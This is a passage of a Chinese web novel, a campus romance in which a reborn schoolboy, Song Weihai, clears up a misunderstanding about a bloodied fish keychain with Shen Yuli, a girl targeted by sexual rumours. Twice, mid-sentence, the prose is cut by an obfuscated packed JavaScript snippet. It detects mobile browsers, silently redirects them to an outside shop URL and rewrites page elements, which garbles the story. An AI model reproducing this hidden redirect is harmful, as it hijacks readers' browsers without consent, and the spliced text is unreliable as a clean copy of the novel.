沈余离当时尚且还是个孩子,她无法完全理解这个世界的所有事,不能理解爸爸为什么有了妈妈还会爱上别的人,不能理解妈妈为什么在爸爸犯错后却要哭着跟他道歉,不能理解两个人为什么要把爱意扭曲成仇恨、再把仇恨包装成相爱,不能理解明明拥有彼此相融的血液,父母却都不爱她和妹妹,不能理解为什么明明都已经联结成密不可分的家庭,最后却还是会走向分崩离析的结局。 但这些都不重要。 任何勾心斗角的桥段对她来说都不重要,永无止境的欲望对她来说也不重要,在这个被贪念缠绕的世界里、这场被暴雨淋湿的命运中,沈余离的愿望却简单得像钢琴演奏里的音阶,它不断重复、但也不断升调,最后淌过满地的泥泞,成为她心里唯一的旋律。 她不强求妹妹成为披荆斩棘的故事主角、她不愿意看到任何人为了消费妹妹的苦难,而让她拥有悲惨的一生,她也不需要妹妹复刻任何人的生命轨迹,她要妹妹拥有永远不会被剥夺的自由,要妹妹有权休息、拒绝、退缩、软弱,她要妹妹平安、要妹妹幸福、要妹妹有足够的时间去丈量这个世界上的每一寸土地,她要妹妹此行一生,无论庸庸碌碌还是惊才绝艳,都只活成她自己想要的样子。 即便这样沈余离要亲手把她送进重组家庭,即便这样意味着自己要淡出妹妹的世界,沈余离也心甘情愿、毫无怨言,那条小鱼的挂件会成为她的缩影,姐妹之间美好的念想,由此会被封存进漫长的光阴。 然后,她会带着那一地狼藉的回忆决然出走,但她要沈祈生再也不要回头。 . “……” 沈余离收回思绪,轻轻吐出一口气,将挂件小心翼翼地放进了笔盖,刚抬眼,就见前桌男生斜着眼,表情诡异地上下打量着她。 沈余离在这种环境中活下去的秘诀就是绝不亏待自己的乳腺,她靠着椅背,倒也没直接发火,只是不冷不热地开口:“有事吗?” 男生见被抓包了,倒也不躲闪,相当不屑地嗤笑一声,当着沈余离的面阴阳怪气道:“你刚才在一班门口那么浮夸,原来以为你是破防,结果是为了引起那个叫宋未海的男生的注意?钓他其实是因为觉得他看着老实,好骗是吧?” 他说话 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宋未海“啊”了一声,脸有些红,在原地踌躇了片刻,几秒之间,他的内心已经开十倍速上演了无数出校园偶像剧,最后还是把那些壁咚强吻等等放在现实里会被丢去派出所喝茶的举动一扫而空,轻咳了一声,宛如递身份证一般地递上自己的校园卡,小心翼翼道:“方便的……同学,我们可不可以……边吃饭边说?” 话音刚落,宋未海就后悔了。 就看沈余离这幅样子,显然不是来跟他搞什么拉扯钓系更不是来跟他谈什么风花雪月,一看就是有什么正事儿要谈,结果到头来自己一点也没有注意到,光把注意力集中在心里那堆沸腾的粉红色泡泡上。 他耳根发烫,忙收回了校园卡,有些窘迫地挠了挠头,刚要开口道歉,沈余离就率先开口,声音依然无波无澜,平静得像是在播报一个无关自己的通知:“那走吧。” 宋未海猛地抬头:??? “再不走,我们可以排到下午第一节课结束。”沈余离无视了宋未海一惊一乍的反应,面无表情转身就走,后面的宋未海被幸福砸中得太突然,一时间有些晕头转向,再回过神来少女已经走远,他才赶忙低骂了一句自己没出息,咬了下舌尖,快步跟上少女的步伐。 . 沈余离全程只关注那个海鱼挂件为什么会落到别人手里,完全没在意宋未海在身后波澜起伏的精神状况,她走进食堂,看着里面乌泱泱的人群,偏头问身后的宋未海:“吃什么?” 宋未海后知后觉地“啊”了一声,然后赶忙道:“那、那个……什么都可以。” “那成。”沈余离点点头,径直去了人最少的窗口,非常自然地用一盆冷水浇灭了噼里啪啦快要燃着的宋未海,“不挑挺好。” 毕竟她也只是意思一下。 不过宋未海倒是对此完全没有意见,他端着盘子,和沈余离找了个最角落的位置坐下。 宋未海觉得自己脸上的热度还没有散去,有些紧张地看着沈余离,情绪疯长的时候可以填补其他的一切欲望,他现在觉得胃是胀的,一点食欲都没有,匆匆扒了两口饭就算结束。 而对面的沈余离丝毫没有要和这个临时饭搭子搭话的意思,她背挺得很直,低头,似乎连吃饭这件事都能很认真地对待,丝毫不受外界干扰。 宋未海不好意思打断她,又觉得这么直勾勾地盯着人家看太冒犯,只能将目光投向熙熙攘攘的人群,双手在桌子底下来回地搓揉,直到微微沁出了些许汗水,才抬头瞟了眼沈余离:“同学……我方便问下是什么事儿吗?” 沈余离没抬眼看他,一脸淡定地用筷子拨开蔬菜,言简意赅道:“挂件。” 宋未海还没来得及细问,沈余离已经吃完了最后一口,径直起身、倒饭、洗手,然后甩了甩手上的水,看向一旁的宋未海:“好了吗,走吧?” 宋未海点了点头,很快跟上她。 . 午饭后大家大都去挤了小卖部或者回教室,很少有人还在教学楼底下晃悠,沈余离眼见周围人流量越来越少,直到身旁已经鲜少有人经过了,她才定住脚步,缓缓转身。 身后少年大概是没料到沈余离会突然停下,愣了片刻,然后像是生怕撞到她似的,连退了几步,规规矩矩地背着双手,声音听起来有些慌张:“同学,那个,我俩就在这里说吧,我听着。” 沈余离撩眼,没有想通为什么这个素未谋面的人会有那么奇怪的反应,思来想去反复推理,最终把对面男生的一切反常行为,通通指向了她从开始就认定的那个结果。 想到这儿,沈余离神色微冷,从口袋中掏出海鱼挂件,捏紧了挂件的尾部,将尾巴上的S和血迹展现给他看。 然后,她在对面少年忐忑又期待的眼神中缓缓开口: “我曾经给过我妹妹一个一模一样的挂件,上面有我给她做的标记,就是这个S,请你解释一下为什么上面有血迹。” 沈余离看着他,少女一看就是混血儿,一头偏金色的长发披落肩头,却是亚洲人的长相,头发边缘在日光下闪动着光点,她瞳色偏浅,被太阳一照,就犹如澄澈透净、却又沉淀着万千风华的琥珀。 她的脸上素来无喜无怒,仿佛被别人满口造谣的不是她,仿佛被别人指指点点的不是她,情绪始终四平八稳,任什么事都无法撼动得了半分。 但此时此刻,沈余离微微眯起眼睛,她的声音里,透出了几分冷冽的锋芒: “——我怀疑你,诱拐甚至迫害未成年人。” 3. 溯洄从之|三 . 宋未海:“……?” 我勒个惊天大锅啊。 沈余离开口的那一刻,宋未海先前给自己做的一堆心理建设,什么坦荡表白、什么直面真心、什么我主动我和她就有故事,都在顷刻间灰飞烟灭了,他愣愣地看向沈余离,过了半晌,才把这一字一句完全消化掉她的话,把方才心里自认最真诚的表白话语一个字一个字地删掉,源自肺腑地发出了最真诚的疑问:“啊?” 他是不是重生错了?他不应该重生在青涩浪漫的校园频道里吗?怎么突然又穿成今日说法了?? 沈余离忽略他迷茫的神色,把血迹翻过来,让宋未海看得更清楚一些,声音如淬冰雪:“我妹现在十一岁,为什么上面会有血,为什么这个挂件会在你这里,请解释一下?” “……”宋未海只觉得天上一阵惊雷劈下,轰得他眼前一黑,他也没想到连姑娘手都没牵过的自己有一天会面临这个局面,有些头疼地捏了捏山根,想了想这个挂件的来历,心中隐隐浮现出一个猜测,试探性地问道,“……你妹妹,是不是叫沈祈生?” 沈余离似乎并不惊讶,她的面上没什么波澜,只是紧盯着宋未海,试图从中找出任何一点他说谎的蛛丝马迹,冷冷道:“你们到底什么关系?” 宋未海咽了口唾沫,刚想说“她其实是我学生”,但后面想想放在现在实在没什么可信度,便在情急之下改口道:“她是之前我社会实践做志愿者的时候碰到的小朋友,前几天我正好去学校里确认时长,她不小心丢下了,我就暂时先替她保管了,打算下次见面再还给她……真的,单纯认识而已。” 宋未海深吸了一口气,逐渐镇定下来,温和地一点点补充细节,尽量让他的话听起来真实可信,耐心地解释道,“蓬山市盲人学校,特殊院校,我们高一升高二这个暑假本来就要做社会实践,都有社会实践的服务时长和记录的,要是不信的话,我可以提供记录给你。” 这话是真的,他记得上一世他确实也是在蓬山盲校做的志愿者,也是在那个时候,他认识了沈祈生。 沈余离维持着这个姿势不动,她上下审视了宋未海片刻,见对方并没有说谎的痕迹,才堪堪松了口气,有些不太情愿地将海鱼挂件递到了他面前,移开目光,淡淡道:“抱歉,还给你。” “……啊?没关系的!姐姐关心妹妹是人之常情嘛,如果你不放心的话,放在你这里也可以。”宋未海没想到她会还给自己,抬手,轻轻地把沈余离的手推了回去,微笑道,“它对你而言,意义更重大一些,而且你亲手交给她,肯定比我亲手交给她不一样。” 沈祈生之前确实提到过这个挂件的由来,也提到过那个S是她姐姐亲手刻上去的,沈余离能说出重合的细节,应该说明她没有说谎。 因此,宋未海想了想,最后还是决定把挂件放在沈余离那里。 沈余离轻轻点了点头,觉得自己一时着急误会了一个无辜的人,难得有些不太好意思,又说了句对不起。 她接过挂件,双手背在身后,低着头,沉默须臾,少顷轻声道:“同学,明天请你吃饭吧。” 语毕,她抬首,不料发现方才满脸善解人意的少年突然摇身一变,不可置信地看着她,双眼闪闪发光。 沈余离:“……?” 她记得这人没有变脸的独门绝技啊……? 宋未海没有注意到对面的无语凝噎,“请你吃饭”四个大字在他的大脑循环播放,一种难以名状的喜悦盘踞在他的心头,甚至连早上的那点儿阴霾都被清除得一干二净,宋未海努力克制住自己内心的狂喜,佯装矜持地点了点头,但面上的表情仍然显得不太自然。 沈余离收起挂件,又跟他道了声谢,转身正想离开,突然一道男声自身旁响起: “不愧是……进度这么快啊,这就谈上了?” 声音很耳熟,尖酸刻薄而又极具嘲讽,带着一点看戏的意味和隐隐的不甘,站在墙角处的二人双双转头,看见赵志云叼着一根棒棒糖,双手抄着口袋,就站在他们不远处。 “听别人说话只能偷偷摸摸躲着听。”沈余离并没有正眼看他,攻击力丝毫不减,“都这么可怜了,算了,让让你吧。” “你……!” 赵志云被反将一军,看着沈余离这幅无论怎么羞/辱都不会失态的样子,赵志云有些恼火,上前几步,直逼对面的女生,刚想伸手去揪她的领子,却被一条手臂拦住了。 赵志云把棒棒糖嚼得嘎嘣响,目光一沉,转向一旁拦下他的宋未海:“你也——?” 他话音未落,宋未海的反应就比他还要快,道歉的速度超过了5G的网速:“……对不起!!” 赵志云:“……” 沈余离:“?” 她刚刚在心里就开开玩笑的,结果这人真会变脸啊? 赵志云看着宋未海,低声骂了句脏话,伸手拿掉棒棒糖,有些不屑地看着他:“你干什么?” 宋未海的心脏砰砰狂跳,紧张得汗都冒出来了,但是过了半晌,也才硬生生地憋出了一个字:“我……” 他本意是很排斥跟赵志云发生正面冲突的,他会尽己所能地回避一切为自己带来麻烦的事,但刚才事情发生的太快,状况紧急,本能反应压过了理性纠结的顾虑,让他在评估风险前率先先伸出了手。 沈余离随着他的动作退后半步,她站在他身后,盯着男生单薄的背影,颤了下眼睫,不知道在想些什么。 宋未海心脏砰砰狂跳,他伸手,挡在赵志云身前,试图可他拉开距离,声音并不大,甚至能从他忽快忽慢的语气中听出他没什么底气:“……那个同学,校园墙上发的东西不属实,我觉得你可能误会了什么,也快上课了,要不就……先回教室?” “嘁。”赵志云单手把校服外套甩上肩膀,鄙夷地上下打量着宋未海,轻蔑哼笑,“也不知道你什么眼光,怎么看上这种怂|逼的。” “也不知道你什么心理。”沈余离的目光仍然落在宋未海的背影上,口气自始至终轻快平淡,“怎么变得这么自信的。” “懒得和你计较,自降身份。” 赵志云不屑地睨了她一眼,用力咬住棒棒糖,头也不回地朝教学楼走去。 沈余离看向宋未海,刚想开口说什么,就见身前的少年对着赵志云远去的方向,沉默着低下头,双手垂在身旁,轻轻握拳,没有正对着沈余离,话头却是指着她的:“对不起,我刚刚……太丢人了。” 不止是刚刚丢人。 就连自己在意她却不敢站出来帮她说话,他也觉得很丢人。 那不像是普通的交谈,更像是对着某个身处远方的故人,曾经年少时的某些遗憾成为了心中的芥蒂,待到时过境迁、人去楼空,他寻找无门,也只能跨越遥遥岁月,站在曾经她走过的空地上,姗姗来迟地说一句抱歉。 真挚、温和、小心,不掺杂任何一点私心,又生怕惊扰了她。 大概是语气听上去很不一样,沈余离怔了下,张口想说什么,最终还是将话咽了回去,伸手在口袋里摸了摸,然后低头翻找起来。 宋未海仍半低着头,等待沈余离的回答,不料下一秒,一个微凉的、铝箔纸制的东西触上了他的指尖。 宋未海顺着动静低头,发现沈余离的手里拈了一颗糖。 一颗草莓味的阿尔卑斯,他小时候很喜欢吃,但长大后身体不好,加上工作太忙,就再没有吃过了,几乎已经忘掉了它是什么味道。 他有些诧异:“这是……?” “每次我被那些人骂的时候,座位上都会多一颗草莓味的阿尔卑斯。”沈余离看着他,难得展现出显山露水的柔和,“我都留着,没舍得剥,但是每次心情都会好很多。” “……”她顿了片刻,轻声道,“现在,先分你一颗。” 宋未海垂眸,小心翼翼地把它剥开,发愣地盯着手中红白相间的糖块。 “……”他沉默了片刻,随即有些小心地开口发问,“你是不是……不喜欢草莓味的?” “喜欢。”沈余离背着双手,难得的弯眼一笑,眼中映下太阳滚烫的光芒,简短道,“没舍得。” 宋未海没料到她会这么回答,感觉刚刚平复下的心跳又在转瞬间急速加快,他绞了下手指尖,觉得背后浸湿了一层薄薄的汗,不太敢看沈余离,生怕被她捕捉到任何一丝端倪,但又无处安放自己的眼神,只好有些四下躲闪,声音听起来有些慌张忐忑:“……你,你知道是谁送的吗?” 沈余离闻言,嘴唇微抿,她的目光平静地直视着他,过了很久,才小幅度地摇了摇头:“要是下次能碰见,我会好好谢谢他的。” “可、可是……”宋未海能感受到心脏如同鼓点般击打着自己的胸膛,心中那点不安像是草原上的星火,无风之时它不足为奇,但一旦有任何风吹草动,这点微弱的火星就会迅速生长旺盛,蛮横地压过一切繁杂思绪,将除它之外的一切都轻松夷为平地,他没忍住,终是把纠结在心里多年的困惑说出了口,“可是他只是给了你几块糖而已……任何人都可以做到,他也没有站出来为你说话什么的,这样的话,你不会介意吗?” “为什么会介意?” 沈余离看向宋未海,神色很认真地发问。 “因为……他也只是在旁观吧。”宋未海的声音越来越小,到最后,甚至连他自己都没有底气继续说下去了,“送了糖而已,这种事情,任何人都可以做到。” 但是为你站出来这件事,他却没能做到。 “任何人都可以做到,但也只有他做了。”沈余离看着宋未海,淡淡道,“他能在这么多流言蜚语中对我不抱有偏见,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062669|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我而言,已经足够了。至于剩下的,为不为我站出来都是他们自己的决定,我也不是他什么人啊。” “你……你不会觉得——”宋未海停顿了片刻,稍微组织了下措辞,有些艰难道,“这样的话,会很冷漠吗?” “会。”沈余离看着他的眼睛,很坦诚地回答,“如果说没一个人站出来帮我,感到心冷是难免的吧,但对我而言,加入讨论在我身后助长风言风语的旁观,和只是单纯地置身事外,也不一样,我不会对这些人产生什么很特别的情绪。” “所以,不用太纠结这件事,还有今天不好意思了。”沈余离整了整校服外套,绕过宋未海,朝着教学楼的方向走去,在快要与他擦肩时,女孩堪堪停下脚步,微偏过头,凑近了他点儿,轻轻笑道,“我们会再见的,宋未海同学。” 宋未海吓了一跳,心脏快从嗓子眼儿里蹦出来:“你知道我名字?!” 他们上一世毫无交集,他又是个透明到不能再透明的人物,就算事后在网络上更新教学日记,也是用的自己的笔名。 他曾经以为沈余离永远不会认识他的。 结果……她竟然记住了他的名字吗? 不过大家都相处一年了,知道名字也很正常吧。 宋未海深吸了一口气,想让自己尽快平静下来,别那么没出息,打着哈哈道:“啊哈哈……看来你跟我们班很多同学都蛮熟的。”竟然连我都知道。 “不熟。”不料,沈余离却干脆果断地否认了他的猜测,“我不爱记人,连我们班同学都没认全。” 宋未海的面部地表温度立马直线飙升:……? 她这这这这这是什么意思啊?! 啊???! 不过沈余离没管宋未海突然涨红的脸颊,她说完就打算转身离开了,不想都走出去好几步了,宋未海突然在她身后叫住了她。 “……啊,对了。”他像是终于鼓足了勇气,音量稍有提高,尽管声音还是有些发抖,就连同话语难免还带了点儿磕绊,“你妹妹……现在挺好的。” 沈余离背对着他,弯起唇角,收起了先前那副随性敷衍的样子,诚恳道:“谢谢。” . 沈余离在和宋未海把那一场乌龙解释清楚之后,各自回到了各自的班级,大概是沈余离早上的行为震撼了一整个班级,关于她在走廊里当场动手的流言传得飞快,当她出现在教室后门的时候,第一次少了很多窃窃私语的声音。 她拉开位子坐下,身旁的同桌小姑娘瞥了她一眼,随即又拨了拨刘海,挡住了自己的视线。 沈余离没注意周围的动静,只是把下午要用的书整理好,等她从桌肚里再抬起头时,突然看见旁边的人怯生生地推过来一张纸条。 字有点小,但是笔迹很清秀: 中午老师过来发了张卷子,zyf把你的卷子收到自己桌肚里了,你可能要找老师重新拿一下,下午数学课要当场做。 沈余离一手兜着书,一手拨开笔盖,用掌根垫住便签条,龙飞凤舞地写下了两个字:谢谢。 她站起身,丝毫不拖泥带水,一掌扣住前桌周一凡的肩膀,把他用力往后一拽,语气平静,却又带了些许尖刺:“卷子。” “你别发疯好不好。”周一凡转过头,跟她装傻,“谁有兴趣拿你的卷子?我这么无聊吗?你当谁都是宋未海啊。” “少在这里给我自我介绍。”沈余离五指收紧,加重了语气,“监控就在你后面,我不重复第二遍,卷子。” “……”周一凡扫了一眼背后的监控,大概是实在有些心虚,他用力地切了一声,把桌肚翻得哗哗作响,然后拿出了一张皱得不成样子的卷子,“拿走拿走,一点玩笑都开不起,你晚上工作时这么不通情达理找得到人?无聊。” 沈余离探身过去,将那张被揉皱的卷子拍在周一凡的桌上,趁他反应过来之前动手抽走了他桌上平整的空白卷,然后稳稳地坐回到自己的座位上,挑眉冷笑道:“你晚上工作时嘴这么贱怎么被金主点?搞笑。” “你……!”周一凡再次被气得说不出话,他正要发作,奈何上课铃先一步打响,他无法,只好愤愤地瞪了沈余离一眼,然后心不甘情不愿地坐回了座位。 沈余离没受他的半分影响,挺专注地上完了下午几节课,在食堂开放晚饭前,她曾去一班后门口等过宋未海,但见他的座位上是空的,又迟迟没有人来,便放弃了,自己先去了食堂。 直到她迅速吃完晚饭,折返回教室,突然发现自己的空座位上,多了一小摞糖。 还是熟悉的阿尔卑斯,只不过这次不只有草莓味了,许多口味都有,五彩斑斓的,整整齐齐地摆放在她的课桌上,旁边还附了一条浅黄色的便签条: 可以挑自己喜欢的口味。 不用留着,会一直给你的。 4. 溯洄从之|四 . 沈余离低头,盯着桌面上的糖果,几乎不可见地勾了下唇,随即将它们一并轻轻摞好,小心地放进了自己的书包里。 过了片刻,有人陆陆续续地走进教室,周一凡在走进自己座位时,向下瞥了一眼沈余离,随即相当不屑地哼了一声。 沈余离没理他,自顾着埋头写数学作业。 周一凡见她一点儿都不着急,似乎有些不甘心,转身去拍一个男生的肩膀,然后十分夸张地将手掩在嘴边,眼神不断地瞟向她,和前桌男生十分明目张胆地小声交谈起来,沈余离就坐在他俩后面,隐隐能听到几个跟她有关的外号,和自己的大名,紧接着她就看见周一凡突然止住了话头,意味深长地抿起唇,用眼神不停地暗示前桌的男生,二人安静了一瞬,随即很默契地一同狂笑出声,爆笑声响得快要掀翻天花板,引得周围同学都纷纷侧目。 很吵。 沈余离仍然挺直着背,低头坐在那里看作业,很安静,看起来并没有被身后的人干扰注意,但当言故坐回座位时,她发现身旁这位看起来八风不动的同桌沉默无言地盯着作业本,气压低得简直像让人免费游览南北极。 “怎、怎么了?”言故在她身边坐下,双手撑着椅子边沿,压下声音,有些关切地问道,“你不舒服吗?” “没。”沈余离仍然没有动笔,凝目在作业本上,淡淡道,“有小丑表演,我看个乐子,顺便思考一下怎么毁尸灭迹。” 言故脑中立马出现出今日说法的一二三个重大刑事案件,吓得缩了缩肩膀,不再说话,乖乖地坐回座位上。 “有人做贼心虚,破什么防啊?”周一凡见她在点自己,有些着急地冷哼一声,随即僵硬地扯开嘴角,“我说错了吗?别光口嗨了,先把你那一身病处理干净吧。” “嗯。”沈余离自始至终都没有更多地表情,她一只手肘压着作业本,另一只手藏在桌肚中,在所有人都以为她被堵得无话可说时,沈余离在一个其他人毫无察觉的角落里,轻轻摁下了录音笔的按键。 . 又过了十分钟,晚自习的铃声打响,前面的周一凡仍然在喋喋不休,沈余离嫌他太吵,塞了一幅降噪耳塞在耳朵里,垂眸开始写作业。 沈余离这件事一度被传得沸沸扬扬,几乎是所有人都心知肚明,班里同学虽然很少有表面上挑破关系的,但都如同冰川断层处分割开去的板块一样,悄无声息地同她划开了界限,等再回头看的时候,周围早就遍布了冰冷的海水,只有她这么一座孤岛,独自屹立在无人区的中央。 除了同桌室友之间关系还算融洽,剩下的几乎没人找她说话,沈余离倒也不是很介意,她实在闲得没事干就会掏出作业来写,这样一来,晚自习之前,沈余离的作业几乎已经完成了一大半。 “……小鱼。”身旁的言故在偷看了沈余离百八十次后,终于忍不住,还是小心翼翼地戳了戳她,“你的英语作业,能不能……借我抄抄啊。” 她说话得声音弱得像蚊子一样,沈余离还带着降噪耳塞,只能感到旁边的小姑娘在戳她,顺手摘掉了耳机,微侧过眸:“怎么了?” 沈余离确实看着太生人勿近了,即使做了这么久的同桌兼室友,言故还是有点儿怂,缩了下脖子,但即便如此,沈余离还是察觉到了她眼神中那点细微的变化,伸手,将英语作业推了过去。 言故大概是没想到自己的心思这么容易就被猜中了,有些吃惊,但是沈余离却没有多说什么,只是简单地将桌子清理了下,紧接着趴下开始睡觉。 沈余离在闭起眼睛的那一瞬间,就觉得困意很快如潮水般涌来,很快,有一个令她感到奇怪的梦境在她的潜意识内悄无声息地形成。 ——她竟然梦到了宋未海。 说实话,在过去那么长的时间里,她从来没有跟这个人有过一星半点儿的交集,偶尔出操的时候会看见他,转头的时候猝不及防地和他对上视线,结尾往往是男生脸一红,然后默不作声地别开目光。 沈余离曾经没在意过这些细节,但此刻,他却清楚地出现在她的梦中,少年身形单薄,刘海略长,戴着一副粗黑框眼镜,明明浑身上下都是学生气,却穿着一身割裂违和、大人模样的黑西装,过于宽大和板直的西服松垮地套在他身上,宋未海双手背在身后,低着头,沈余离看不清他的表情,只看到他的手中攥着那个小海鱼的挂件,紧接着,有几双手撕裂开黑暗的空间,它们似乎带着一股无法被平息的怒火,猛地推向宋未海的肩膀,把他推得接连后退几步。 沈余离看着,不由得皱眉,这人怎么任由着别人欺负? 她又凝目了片刻,看着宋未海跟快木板似的没反应,实在忍不住了,正要出手去提醒他,突然感到背后咻得一凉—— ——突然,有一道白光破水而入,刺眼的光柱直直贯穿她,尖锐凄厉的铃声像是电钻一样地凿进她的耳畔,沈余离猛地惊醒,感觉喉咙有些干涩,背后已经被汗水浸湿了薄薄的一层,冷风一灌,整个后背都冷飕飕的。 沈余离本能地打了个寒颤,摁了摁发酸的脖颈,长舒一口气,有些反应迟钝地收起作业,拎起书包,跟着人流一起走了出去。 大家对于放学这件事从来都不缺乏热情,她被人群推挤着向前,等到走到大门口,看着骤然散开的人流,和被黑色渗尽的夜空,心中突然卷上一阵空落落的感觉,这股感觉是凭空出现的,没有任何理由,就像迎面而来的冷风一样,直直地拍在了她的心上。 她微微一顿,拎起书包,去了学校的教学楼背后,那后面有一只学校里养的小猫,在校时间是她的几倍,沈余离要是当天作业写完了,就会带着罐头去喂它。 教学楼背后的大门锁了,基本没什么人,那里用于堆放杂物,人烟稀少,就连杂草都长得比其他地方高,只有一盏浅黄色的路灯,断断续续地闪动着光亮,大概天气开始转冷,学校里那只狸花猫也不到处乱窜了,就这么老老实实地窝进一旁的花坛,灯火之下,它一身绒毛被照得明亮。 她挨着路灯蹲下,扯开罐子推到它的面前,也没动,就这么垂眸看着它。 秋天的冷风席卷而来,蓬山市天气干燥,就连风都不带一点柔软,像是冷铁一般,直直地拍在了脸上,干冷,还有些生疼。 “站在这里……会有点冷吧?” 沈余离正全神贯注地看猫,身后突然响起一阵熟悉的声音,她微微一惊,转过头,看到宋未海正站在离她不远的地方,有些担心地看着她,在对上她的目光时,又瞬间乱了阵脚,支支吾吾地解释道:“对不起我不是故意的……不是,我就是顺路,然后恰巧碰见你了,嗯,顺路。” 沈余离怔了下,看了看这片犄角旮旯里的空地,再看看他拙劣的演技,没有拆穿他,只是浅笑出声:“好巧。” “……嗯、嗯。”宋未海和她对话还是很紧张,他的眼睛没在看她,一直在盯着那只猫,但即便是这样,他瞳孔的每一次转动依然显得卡顿和僵硬,手在空中极不自然地悬了片刻,然后有些发抖地攥住自己的校服外套,垂下眼,眼底显出一种隐隐的期盼,轻声道,“要不要……加件外套?” 像是想到什么,宋未海抓了抓衣摆,有些不好意思地补充道:“这次是干的。” 沈余离:“……”您对递外套很有执念吗。 “不需要了,谢谢。”她咳了两声,轻轻地把宋未海的手推回去,随口道,“不过小心点儿,校园墙上编得挺精彩,我都快信了。” “啊,我看到了。”宋未海点了点头,少年抬眼看向她,眸中如同阴天之下雾蒙蒙的海面,晦暗平静,却又从中透出一丝极有分量的认真,“我知道他们误会你了。” 沈余离听到这句话,有些讶异地挑了下眉,她背着手,站在原地,随即神情复杂地扯了下唇角。 关于沈余离这事儿,说出来其实没什么新意,跟所有黄谣的产生一样,每一个发酵的过程都完美地吻合着属于它的产业链。 跟踪、拍照、揣测、造谣、传播。 赵志云在表白失败后,不知道哪根筋搭错了,又起了跟踪她的念头,却意外撞见了他们所谓的“猛料”。 据赵志云那群人所传,沈余离的身影曾经出现在酒吧街的尽头,宋未海看过那张照片,五光十色的灯火掠过凄冷萧瑟的街道,酒吧的玻璃上折射出灯球闪亮的色彩,红紫色的灯光映满了一整间房。 在满目枯寂的斑斓中,只有她那个穿着蓝白校服的身影,太过朴素洁净,和周围的浓烈绚彩的氛围格格不入。 她的轮廓因为太远有些模糊,但是那一头偏浅的长发仍然很明显,灯火的微光落在她头发上,那张整体色调暗沉的照片中,她轮廓的光点从中晕开一层明亮耀眼的色块,少女带着口罩,背影削瘦但是坚|挺,微微仰头,正在跟一名外国男子说话。 后面还有几张晃成虚影的连拍,女孩儿跟着男人,上了一辆黑色的轿车,隐约可以看到她俯身拉开车门的身影,还有车的车牌。 是一辆劳斯莱斯,连完全不懂车的人都略有耳闻。 于是,传闻就像砸进了烧热的油,哗啦一声,留言跟油星子似的沸腾而开了。 里面的内容编写得极尽夸张,乍一看就是满屏的淫词艳语,大段的文段中神神秘秘地打了好几个星号,标题起得炸裂、露骨又吸睛,轻而易举地霸占了蓬山三中的各个学生群。 沈余离也由此从一个安静读书的普通人被推上了风口浪尖,她看似无法见光的事迹口口相传在每一个看过帖子的学生群体中,一张张嘴将疯传的流言剪碎成一条条标签,无数标签贴在她的身上,封住她的眼睛、鼻子、嘴巴,不管她是否曾为此辩解或是否会因此而感到窒息,就像是随手扔垃圾一样那么随意而又不负责任地一贴,看着她在雪片般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想到这儿,他又轻声重复了一遍:“我在听。” 沈余离转头,摇曳的微光映衬着她的半边脸庞,她弯唇,挽了下头发,棕金色的头发在灯火下被镀得犹如一瀑月光:“其实我蛮奇怪他们为什么这么坚信这个谣言的,光看我的长相,不够明显吗?” 宋未海一怔,脑海中一线明净闪过,紧接着心下了然。 沈余离的发色和瞳色都非常明显地表明了她有一半血统并不来自亚洲,照片上的男人也看起来有些年纪了,其实不难推测出二人的关系。 而赵志云他们,无非是从蛛丝马迹中挖出那点细微的不确定性,然后将其浮夸地放大和戏剧化,把这一切往最极端和最猎奇的方向做了设想。 宋未海点了点头,又回头去看一旁的小猫,那只猫这次感受到了他的视线,撂下罐头蹭地一声站起来,双眼蹬得圆溜,目光炯炯有神地和他对视。 沈余离以为它要走,侧身给它让出道,那只狸花猫却没有动,像一樽小型的、长了绒毛的雕塑一样,一动不动地和他俩对视。 这下沈余离和宋未海也没动作了,一个半蹲着,一个站着,二人一猫就这么站在明晃晃的路灯下站了很久,久到沈余离都觉得那白光有点儿晃她眼了,那只狸花猫还在原地打量着他们。 到了这个点,教学楼的电全部被关掉了,他们身后生锈的卷帘门正半挂着,里面歪七八扭地叠着一堆纸箱,周围几乎全黑了,唯一的光源来自于他们站定的路灯,明黄色的光芒从灯泡里流出来,像在黑暗中淌开的一条河流,沿途流经灯杆、杂草、猫的绒毛、和他们身上,光流中还有几只飞蛾振动翅膀的身形,以及二人被拉长的黑影。 光道不够宽阔,沈余离和宋未海两个人都只能分到一半的光芒,剩下一半各自隐没在黑暗里,那只猫倒是以一种姿态慵懒地蜷曲在最中央的地方,如果不是投射在花坛上的影子有轻微的跃动,沈余离真的会误以为,时间在这一刻被暂停了。 她想到这儿,扑哧一声笑出来,打破了持续许久的安静。 宋未海被这一声拉回神来,他有些抱歉地冲那只猫笑了笑,退后半步,拽起袖管,低头看向手表,出声提醒她:“不早了,马上寝室要锁门了……那个,明天中午见?” 他是指一起吃饭的事。 沈余离轻嗯了声,在宋未海冲她挥了挥手,准备离开的时候,她突然背过双手,站在路灯下,正对着少年的背影,开口叫住了他: “——宋……未海同学?” 宋未海没想到她会直接叫自己的本名,心脏漏跳了一拍,赶忙转头,以为她需要帮忙:“啊,在,怎么了吗?” “嗯……”沈余离背着双手,看向他,语气平静,却又掺杂着浅浅淡淡的笑意: “——你放的东西我看到了,谢谢你一年以来匿名的阿尔卑斯,宋未海同学。” 5. 乌合之众|一 . 宋未海没想到她会冷不防地蹦出这么一句话,整个人一怔,随即像是突然反应过来什么似的,整张脸猛地涨红,慌张到险些咬舌头,重心不稳,就差直直地摔下去。 他一直觉得,就凭他这个低调和谨慎的程度,一定能够藏得很好,上一世也一直将这个秘密持续保守到了毕业,沈余离怎么会这么快就发现了?! 